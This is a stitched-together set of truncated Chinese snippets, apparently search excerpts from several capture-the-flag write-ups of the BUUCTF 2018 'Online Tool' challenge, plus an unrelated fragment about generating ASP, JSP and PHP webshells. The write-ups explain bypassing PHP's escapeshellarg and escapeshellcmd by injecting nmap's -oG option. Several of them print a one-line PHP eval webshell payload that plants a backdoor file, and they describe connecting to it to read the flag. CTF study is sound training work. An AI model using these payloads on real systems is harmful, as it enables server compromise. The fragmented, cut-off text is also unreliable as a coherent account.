题目链接:[BUUCTF 2018]Online Tool。 打开环境,如下所示。 直接得到源码,如下。 <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $...
HTTP_X_FORWARDED_FOR和REMOTE_ADDR都是服务器用来获取ip用的,在本题没有太大作用。后面的代码里需要host传参,再经过下面两个函数的处理,最后拼接字符串执行system系统函数,mkdir函数创建新目录。 这里找到几个网站,关于escapeshellarg和escapeshellcmd函数的漏洞介绍: https://paper.seebug.org/164/ https://www.anqu...
3.经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php4.最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有...
payload如下: '<?php @eval($_POST["GO"]);?>-oG1.php' 执行后获得文件夹目录: 蚁剑连接: 找到flag: flag{f25cc940-aaa3-4ce6-9051-0eeeb50c1f75} 网络安全buuctfbuuoj 分享至 投诉或建议 评论 赞与转发 0 0
[BUUCTF 2018]Online Tool nmap 的 -oG 参数项 escapeshellarg() 和 escapeshellcmd() 的绕过方法:单引号( ' ) payload:?host='<?php eval($_POST[123]);?> -oG 1.php%20 在网站前端得到一段 md5 值是文件夹地址名 蚁剑连接xxx/7fff22a1d06d6a44cdf617546029cd7e/1.php,根目录下得到flag ...
打开一看,发现给了一大串代码,接下来进行审计 if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } //首先看到前两行代码X_FORWARDED_FOR和REMOTE_ADDR这里是让服务器用来获取ip用的这里没什么用 ...
https://buuoj.cn/challenges#[BUUCTF%202018]Online%20Tool 这道题都是没见过的,当是拓展知识了,主要考察了escapeshellarg()函数和escapeshellcmd()这两个函数混用产生的安全隐患。 以及对nmap指令参数的了解 CVE-2016-10045,补丁在PHPMailer 5.2.20中被发布。
BUUCTF 2018 - Online Tool 代码审计 php BUUCTF tcl 看着有复现,于是记笔记,学习一下这道题: <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else ...
[BUUCTF 2018]Online Tool 1 [BUUCTF 2018]Online Tool1 查看代码,题目本意是用户输入ip地址,执行nmap扫描 <?phpif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$_SERVER['REMOTE_ADDR']=$_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])){highlight_file(__FILE__);}else{$host=$...
Tools The platform Login » Online ToolsTo generate the ASP WebShell simply click on the button without providing any value in the input box. Same instruction for the ColdFusion WebShell. Again nothing special is required of the JSP WebShell To generate the PHP WebShell choose a password and...